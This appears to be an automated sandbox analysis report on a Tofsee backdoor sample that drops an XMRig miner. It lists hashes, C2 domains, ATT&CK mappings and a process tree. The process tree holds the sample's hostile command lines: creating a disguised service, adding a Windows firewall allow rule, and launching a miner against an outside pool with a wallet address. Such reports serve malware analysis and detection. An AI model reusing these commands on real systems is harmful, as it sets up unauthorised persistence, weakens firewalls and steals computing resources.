Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-04-2023 02:17

General

  • Target

    e75735f7291fe1d0d38a5f7f8f25eeebcb347619dd1df065ea2ea7cb077e35e8.exe

  • Size

    213KB

  • MD5

    e468614fc58a4100991210b073621dd3

  • SHA1

    c75a31fb2d660bda920034a6c6caecdf1d1f690d

  • SHA256

    e75735f7291fe1d0d38a5f7f8f25eeebcb347619dd1df065ea2ea7cb077e35e8

  • SHA512

    e513e3da86bb5defd047026f1aa6d21c7676a2939eefbd1e3ea1c67cecc0ca486f3f47c67ce5768da33d0b480eec4f4b98b99c60b39213b3988efbdbb9fbe358

  • SSDEEP

    3072:2g8L7IZulOSCTwH+3AufD3wmLK2z4sOYwkYrW5B51zI7iMWkv:A0ulO6ArfLKwdZ07iMFv

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e75735f7291fe1d0d38a5f7f8f25eeebcb347619dd1df065ea2ea7cb077e35e8.exe
    "C:\Users\Admin\AppData\Local\Temp\e75735f7291fe1d0d38a5f7f8f25eeebcb347619dd1df065ea2ea7cb077e35e8.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:524
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\exgcdzc\
      2⤵
        PID:3152
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xrwupspr.exe" C:\Windows\SysWOW64\exgcdzc\
        2⤵
          PID:3816
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create exgcdzc binPath= "C:\Windows\SysWOW64\exgcdzc\xrwupspr.exe /d\"C:\Users\Admin\AppData\Local\Temp\e75735f7291fe1d0d38a5f7f8f25eeebcb347619dd1df065ea2ea7cb077e35e8.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1908
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description exgcdzc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:564
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start exgcdzc
          2⤵
          • Launches sc.exe
          PID:1132
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1384
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 1324
          2⤵
          • Program crash
          PID:4664
      • C:\Windows\SysWOW64\exgcdzc\xrwupspr.exe
        C:\Windows\SysWOW64\exgcdzc\xrwupspr.exe /d"C:\Users\Admin\AppData\Local\Temp\e75735f7291fe1d0d38a5f7f8f25eeebcb347619dd1df065ea2ea7cb077e35e8.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3204
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1776
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2672
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3204 -s 524
          2⤵
          • Program crash
          PID:4400
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 524 -ip 524
        1⤵
          PID:3588
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 3204 -ip 3204
          1⤵
            PID:3224

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\xrwupspr.exe
            Filesize

            10.9MB

            MD5

            74b985f599fd522c601138768306736f

            SHA1

            22a47024b225d9001cd1045d166e2c05af0a771b

            SHA256

            9ea5b05ae880a913bf3b073df3d3ee892445a57273a9aab8486d217d73881da4

            SHA512

            31f2b24a4a05bcff8f28dd4fb71487adc6aa0634d13ac9cb506a7e17f87a6d3f1fd5a41012048c0ffd74a37a5690d4a8482185f91ed06602150a3622261ee4b9

          • C:\Windows\SysWOW64\exgcdzc\xrwupspr.exe
            Filesize

            10.9MB

            MD5

            74b985f599fd522c601138768306736f

            SHA1

            22a47024b225d9001cd1045d166e2c05af0a771b

            SHA256

            9ea5b05ae880a913bf3b073df3d3ee892445a57273a9aab8486d217d73881da4

            SHA512

            31f2b24a4a05bcff8f28dd4fb71487adc6aa0634d13ac9cb506a7e17f87a6d3f1fd5a41012048c0ffd74a37a5690d4a8482185f91ed06602150a3622261ee4b9

          • memory/524-135-0x00000000021E0000-0x00000000021F3000-memory.dmp
            Filesize

            76KB

          • memory/524-139-0x0000000000400000-0x00000000004A2000-memory.dmp
            Filesize

            648KB

          • memory/1776-169-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-179-0x00000000031D0000-0x00000000031D5000-memory.dmp
            Filesize

            20KB

          • memory/1776-166-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-145-0x0000000001040000-0x0000000001055000-memory.dmp
            Filesize

            84KB

          • memory/1776-146-0x0000000001040000-0x0000000001055000-memory.dmp
            Filesize

            84KB

          • memory/1776-148-0x0000000001040000-0x0000000001055000-memory.dmp
            Filesize

            84KB

          • memory/1776-140-0x0000000001040000-0x0000000001055000-memory.dmp
            Filesize

            84KB

          • memory/1776-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/1776-153-0x00000000023A0000-0x00000000023A6000-memory.dmp
            Filesize

            24KB

          • memory/1776-156-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-159-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-160-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-161-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-162-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-163-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-165-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-164-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-170-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-149-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/1776-184-0x00000000031E0000-0x00000000031E7000-memory.dmp
            Filesize

            28KB

          • memory/1776-167-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-168-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-171-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-172-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-173-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-175-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-176-0x00000000031D0000-0x00000000031D5000-memory.dmp
            Filesize

            20KB

          • memory/1776-174-0x00000000023B0000-0x00000000023C0000-memory.dmp
            Filesize

            64KB

          • memory/1776-143-0x0000000001040000-0x0000000001055000-memory.dmp
            Filesize

            84KB

          • memory/1776-180-0x0000000007C00000-0x000000000800B000-memory.dmp
            Filesize

            4.0MB

          • memory/1776-183-0x0000000007C00000-0x000000000800B000-memory.dmp
            Filesize

            4.0MB

          • memory/2672-194-0x0000000000C60000-0x0000000000D51000-memory.dmp
            Filesize

            964KB

          • memory/2672-188-0x0000000000C60000-0x0000000000D51000-memory.dmp
            Filesize

            964KB

          • memory/2672-193-0x0000000000C60000-0x0000000000D51000-memory.dmp
            Filesize

            964KB

          • memory/2672-195-0x0000000000C60000-0x0000000000D51000-memory.dmp
            Filesize

            964KB

          • memory/2672-197-0x0000000000C60000-0x0000000000D51000-memory.dmp
            Filesize

            964KB

          • memory/2672-198-0x0000000000C60000-0x0000000000D51000-memory.dmp
            Filesize

            964KB

          • memory/2672-199-0x0000000000C60000-0x0000000000D51000-memory.dmp
            Filesize

            964KB

          • memory/2672-196-0x0000000000C60000-0x0000000000D51000-memory.dmp
            Filesize

            964KB

          • memory/3204-144-0x0000000000400000-0x00000000004A2000-memory.dmp
            Filesize

            648KB